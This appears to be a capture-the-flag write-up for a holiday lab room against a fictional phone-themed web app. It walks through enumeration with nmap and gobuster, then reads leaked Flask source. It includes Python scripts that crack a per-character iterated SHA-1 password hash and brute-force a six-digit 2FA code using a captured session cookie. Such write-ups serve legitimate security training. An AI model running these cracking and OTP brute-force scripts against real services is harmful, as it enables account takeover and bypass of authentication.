BreachBlocker Unlocker WriteUp
Hopper needs your help to get the final key to the throne room.
After getting the key from AoC day 21 room:
Or, use this simple python code to decode the payload and extract the image.
Show - Split
import re,base64
from pathlib import Path
h = Path("NorthPolePerformanceReview.hta").read_text("latin1","ignore")
c = h[re.search(r'\bp\s*=\s*["\']',h,re.I).end():re.search(r'\bf\.Write\b',h,re.I).start()]
p = base64.b64decode("".join(re.findall(r"[A-Za-z0-9+/=]",c))).decode(errors="ignore")
k = int(re.search(r'\$k\s*=\s*(\d+)',p).group(1))
d = base64.b64decode(re.search(r"\$d\s*=\s*'([^']+)'",p,re.S).group(1))
x = bytes(b^k for b in d)
s = x.find(b"\x89PNG\r\n\x1a\n"); e=x.find(b"\x00\x00\x00\x00IEND\xaeB`\x82",s)+12
Path("sq4.png").write_bytes(x[s:e])Ennumarion
There are 4 open ports.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 59:95:8b:60:3d:0e:6d:59:e7:87:63:65:46:6b:e0:1e (ECDSA)
|_ 256 18:c0:e7:5c:d9:b0:95:41:3d:99:5d:c7:66:62:bf:50 (ED25519)
25/tcp open smtp Postfix smtpd
| smtp-commands: hostname, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ 2.0.0 Commands: AUTH BDAT DATA EHLO ETRN HELO HELP MAIL NOOP QUIT RCPT RSET STARTTLS VRFY XCLIENT XFORWARD
8443/tcp open ssl/http nginx 1.29.3
|_http-server-header: nginx/1.29.3
| tls-alpn:
| h2
| http/1.1
| http/1.0
|_ http/0.9
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2025-12-11T05:00:31
|_Not valid after: 2026-12-11T05:00:31
The only logical service to begin our attack is HTTP.
Flag 1
The HTTP service displays a webpage that simulates a phone.
Since we don’t have many ports and this webpage offers many services, let’s try fuzzing to see if there are any hidden directories or files, and also try some common file extensions.
We did indeed find the main.py file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ gobuster dir -u https://breachblocker.thm:8443/ -x php,txt,py,js -w /usr/share/wordlists/dirb/common.txt -k
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://breachblocker.thm:8443/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,txt,py,js
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/main.py (Status: 200) [Size: 6514]
/main.js (Status: 200) [Size: 24510]
It represents the backend of the page.
We find also inside it the first flag as a comment.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask, request, jsonify, send_from_directory, session
import time
import random
import os
import hashlib
import time
import smtplib
import sqlite3
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
connection = sqlite3.connect("/hopflix-874297.db")
cursor = connection.cursor()
connection2 = sqlite3.connect("/hopsecbank-12312497.db")
cursor2 = connection2.cursor()
app = Flask(__name__)
app.secret_key = os.getenv('SECRETKEY')
aes_key = bytes(os.getenv('AESKEY'), "utf-8")
# Credentials (server-side only)
HOPFLIX_FLAG = os.getenv('HOPFLIX_FLAG')
BANK_ACCOUNT_ID = "hopper"
BANK_PIN = os.getenv('BANK_PIN')
BANK_FLAG = os.getenv('BANK_FLAG')
#CODE_FLAG = THM{e********_******_****}
<SNIP>
Flag 2
The Hopflix database path is clearly visible within the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request, jsonify, send_from_directory, session
import time
import random
import os
import hashlib
import time
import smtplib
import sqlite3
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64
connection = sqlite3.connect("/hopflix-874297.db") <---
cursor = connection.cursor()
<SNIP>
We can download and explore it using sqlite3.
We found a table containing email, username, and hash. Our target now is cracking the hash.
1
2
3
4
5
6
7
8
9
10
11
12
❯ sqlite3 ../../Downloads/hopflix-874297.db
SQLite version 3.45.3 2024-04-15 13:34:05
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> .schema users
CREATE TABLE users (email text, full_name text, password_hash text);
sqlite> SELECT * FROM users;
sbreachblocker@easterbunnies.thm|Sir BreachBlocker|03c96ceff1a9758a1ea7c3cb8d43264616949d88b5914c97bdedb1ab511a85c480d49b77c4977520ebc1b24149a1fd25c37aeb2d9042d0d05492ba5c19b23990d991560019487301ef9926d9d99a2962b5914c97bdedb1ab511a85c480d49b77c49775207dc2d45214515ff55726de5fc73d5bd5500b3e86fa6c34156f954d4435e838f6852c6476217104207dc2d45214515ff55726de5fc73d5bd5500b3e86504fa1cfe6a6f5d5c407f673dd67d71a34cbb0772c21afa8b8f0b5e1c1a377b7168e542ea41f67a696e4c3dda73fa679990918ab333b6fab8c8e5f2296e56d15f089c659a1bbc1d2b6f70b6c80720f1a
sqlite>
By reading the source code (main.py), we understand how the password is hashed.
The password is not fully hashed all at once, instead, each character is individually hashed using SHA-1, at 5000 times, and then the results are combined.
Let’s understand more deeply.
This block is responsible for verifying the sent password.
It reads the password character by character and then sends the character to the hopper_hash function. After the function does its part, the hash of the character is stored in the variable ch_hash.
The block then verifies the result by comparing it against the first 40 Hex characters of the stored hash.
1
2
3
4
5
for ch in pwd:
ch_hash = hopper_hash(ch)
if ch_hash != phash[:40]:
return jsonify({'valid':False, 'error':'Incorrect Password'})
phash = phash[40:]
This is the function responsible for hashing. It takes the character and hashs it 5000 times.
1
2
3
4
5
def hopper_hash(s):
res = s
for i in range(5000):
res = hashlib.sha1(res.encode()).hexdigest()
return res
So this gives us room to know the length of the password only from the hash.
All we have to do is calculate the hash length and divide it by 40.
1
2
3
hash = "03c96ceff1a9758a1ea7c3cb8d43264616949d88b5914c97bdedb1ab511a85c480d49b77c4977520ebc1b24149a1fd25c37aeb2d9042d0d05492ba5c19b23990d991560019487301ef9926d9d99a2962b5914c97bdedb1ab511a85c480d49b77c49775207dc2d45214515ff55726de5fc73d5bd5500b3e86fa6c34156f954d4435e838f6852c6476217104207dc2d45214515ff55726de5fc73d5bd5500b3e86504fa1cfe6a6f5d5c407f673dd67d71a34cbb0772c21afa8b8f0b5e1c1a377b7168e542ea41f67a696e4c3dda73fa679990918ab333b6fab8c8e5f2296e56d15f089c659a1bbc1d2b6f70b6c80720f1a"
print(len(hash) / 40)
So the exact length of the password is 12 characters.
1
2
3
❯ python3 hash_len.py
12.0
So each 40 HEX = 1 char.
1
2
3
4
hash = "03c96ceff1a9758a1ea7c3cb8d43264616949d88b5914c97bdedb1ab511a85c480d49b77c4977520ebc1b24149a1fd25c37aeb2d9042d0d05492ba5c19b23990d991560019487301ef9926d9d99a2962b5914c97bdedb1ab511a85c480d49b77c49775207dc2d45214515ff55726de5fc73d5bd5500b3e86fa6c34156f954d4435e838f6852c6476217104207dc2d45214515ff55726de5fc73d5bd5500b3e86504fa1cfe6a6f5d5c407f673dd67d71a34cbb0772c21afa8b8f0b5e1c1a377b7168e542ea41f67a696e4c3dda73fa679990918ab333b6fab8c8e5f2296e56d15f089c659a1bbc1d2b6f70b6c80720f1a"
for i in range(0, len(hash), 40):
print(hash[i:i+40])
We notice that there are two repeated letters
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ python3 hashed_chars.py
03c96ceff1a9758a1ea7c3cb8d43264616949d88
b5914c97bdedb1ab511a85c480d49b77c4977520 <--- 1
ebc1b24149a1fd25c37aeb2d9042d0d05492ba5c
19b23990d991560019487301ef9926d9d99a2962
b5914c97bdedb1ab511a85c480d49b77c4977520 <--- 1
7dc2d45214515ff55726de5fc73d5bd5500b3e86 <--- 2
fa6c34156f954d4435e838f6852c647621710420
7dc2d45214515ff55726de5fc73d5bd5500b3e86 <--- 2
504fa1cfe6a6f5d5c407f673dd67d71a34cbb077
2c21afa8b8f0b5e1c1a377b7168e542ea41f67a6
96e4c3dda73fa679990918ab333b6fab8c8e5f22
96e56d15f089c659a1bbc1d2b6f70b6c80720f1a
The next step now is to try to crach the SHA-1 hashs that we have obtained.
Let’s take a string of characters and pass it to the function responsible for hashing and make a comparison. For example, let’s take the first hash: 03c96ceff1a9758a1ea7c3cb8d43264616949d88.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashlib
hash = "03c96ceff1a9758a1ea7c3cb8d43264616949d88"
strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$*_-"
def hopper_hash(s):
res = s
for i in range(5000):
res = hashlib.sha1(res.encode()).hexdigest()
return res
for ch in strings:
ch_hash = hopper_hash(ch)
if ch_hash == hash:
print("char found: ", ch)
No matches were found, and this has only two logical meanings:
- The hashed character does not exist within the range of characters we defined in the code.
- The character is not hashed 5000 times.
I do not think that the first meaning is correct because we have included within our scope all possible letters and symbols in the password.
So let’s brute force the real number of hashing rounds.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib
hash = "03c96ceff1a9758a1ea7c3cb8d43264616949d88"
strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$*_-"
def hopper_hash(ch):
res = ch
for i in range(1, 10001):
res = hashlib.sha1(res.encode()).hexdigest()
if res == hash:
return i
return None
for ch in strings:
rounds = hopper_hash(ch)
if rounds:
print("char found:", ch)
print("hashing rounds:", rounds)
break
We found that the number of hashing times is 1000, not 5000, also we cracked the first character.
1
2
3
4
❯ python3 bf-hashing-times.py
char found: m
hashing rounds: 1000
Now our way to crack the hash is easy. We have obtained the number of hashing times. Only now can we write a simple code that brute force every 40 hex of the hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib
phash = "03c96ceff1a9758a1ea7c3cb8d43264616949d88b5914c97bdedb1ab511a85c480d49b77c4977520ebc1b24149a1fd25c37aeb2d9042d0d05492ba5c19b23990d991560019487301ef9926d9d99a2962b5914c97bdedb1ab511a85c480d49b77c49775207dc2d45214515ff55726de5fc73d5bd5500b3e86fa6c34156f954d4435e838f6852c6476217104207dc2d45214515ff55726de5fc73d5bd5500b3e86504fa1cfe6a6f5d5c407f673dd67d71a34cbb0772c21afa8b8f0b5e1c1a377b7168e542ea41f67a696e4c3dda73fa679990918ab333b6fab8c8e5f2296e56d15f089c659a1bbc1d2b6f70b6c80720f1a"
strings = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$*_-"
def hopper_hash(s):
res = s
for i in range(1000):
res = hashlib.sha1(res.encode()).hexdigest()
return res
for i in range(0, len(phash), 40):
char_hash = phash[i:i+40]
for ch in strings:
if hopper_hash(ch) == char_hash:
print(ch, end="")
break
Then we use the cracked password to login into Hopflix, and get the second flag.
Flag 3
We can use the same Hopflix creds to login into Hopsec Bank.
Once authenticated, the server generate a new session for Hopsec Bank, and returns a response indicating that 2FA is required.
1
2
3
4
5
6
7
8
9
HTTP/2 200 OK
Server: nginx/1.29.3
Date: Wed, 31 Dec 2025 16:03:54 GMT
Content-Type: application/json
Content-Length: 115
Vary: Cookie
Set-Cookie: session=.eJxtjjEOAjEMBP_i-kRBeRX_QCjyXTaKReJIjgMF4u8cIFEA9cyO9kYL6znsE4cLTJIg0py4dExvwqW0K2KIrbJop_lI4O6wZagK-s5zpdOXjM0tL3dls-YbxOF3NlHlktn-sU9yeIa6rOzPa24D9wf090PZ.aVVJag.lCFdNNXkkeoPIPd_TIwtes-OcEY; HttpOnly; Path=/
{"requires_2fa":true,"success":true,"trusted_emails":["carrotbane@easterbunnies.thm","malhare@easterbunnies.thm"]}
Also by clicking on Send OTP, a 6-digits OTP encrypted using AES, will be generated and stored inside the session, then sent to the user’s email address.
1
2
3
4
<SNIP>
two_fa_code = ''.join([str(random.randint(0, 9)) for _ in range(6)])
session['bank_2fa_code'] = encrypt(two_fa_code)
<SNIP>
The /api/verify-2fa endpoint does not implement rate limiting, and while an invalid OTP deletes the stored code.
1
2
if code == decrypt(session.get('bank_2fa_code')):
session['bank_2fa_verified'] = True
1
2
if 'bank_2fa_code' in session:
del session['bank_2fa_code']
The authenticated session remains valid.
Because the session remains active and OTP attempts are unrestricted, the OTP verification mechanism can be abused through repeated attempts within the same authenticated session.
We can use this python code to brute force the OTP using our Hopsec Bank session.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import urllib3
urllib3.disable_warnings()
URL = "https://breachblocker.thm:8443/api/verify-2fa"
SESSION = "HopsecBank_SESSION"
HEADERS = {
"Content-Type": "application/json",
"Cookie": f"session={SESSION}",
"Connection": "close"
}
for i in range(100000, 1000000):
otp = f"{i:06d}"
r = requests.post(
URL,
headers=HEADERS,
data=f'{{"code":"{otp}"}}',
verify=False,
allow_redirects=False,
timeout=3
)
if "No 2FA code generated" in r.text:
print("[!] SESSION LOST – OTP DELETED")
print("Response:", r.text)
break
if len(r.text) != 25:
print("[+] OTP FOUND:", otp)
print("Status:", r.status_code)
print("Response:", r.text)
break
This will take some time, but eventually we will get our OTP.
1
2
3
4
5
❯ python3 code.py
[+] OTP FOUND: 450386
Status: 200
Response: {"success":true}
Once a correct OTP is accepted, the application allows access to protected actions.
1
2
3
<SNIP>
return jsonify({'flag': BANK_FLAG})
<SNIP>
After that, we can obtain the flag by clicking on release charity funds button.











